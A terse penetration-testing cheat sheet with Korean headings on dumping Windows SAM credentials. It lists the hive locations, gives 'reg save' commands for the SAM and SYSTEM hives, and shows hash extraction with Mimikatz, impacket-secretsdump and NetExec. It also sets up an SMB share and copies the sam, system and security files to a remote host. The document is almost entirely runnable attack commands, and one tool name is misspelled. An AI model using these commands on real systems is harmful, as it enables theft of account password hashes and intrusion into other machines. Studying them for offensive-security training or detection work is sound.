요약

위치

C:\\Windows\\System32\\config\\directory
# The files are locked while Windows is running.

# Backups of the files may exists in the
C:\\Windows\\Repair
# or
C:\\Windows\\System32\\config\\RegBack

공격

reg save hklm\sam C:\Users\Public\sam
reg save hklm\system C:\Users\Public\system

Option 1: Mimikatz

lsadump::sam /sam:"C:\\sam" /system:"C:\\system"

Option 2: impacket-secretsdump

impacket-secretsdump WRK/Administrator:pass123@$IP -output local_dump
impakcet-smbserver share . -smb2support -user test -password test

net use \\$IP\share /user:test test

copy sam \\<IP>\share
copy system \\<IP>\share
copy security \\<IP>\share

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Option 3: NetExec

nxc smb <IP> --local-auth -u <username> -p <password> --sam

DCC2 hashes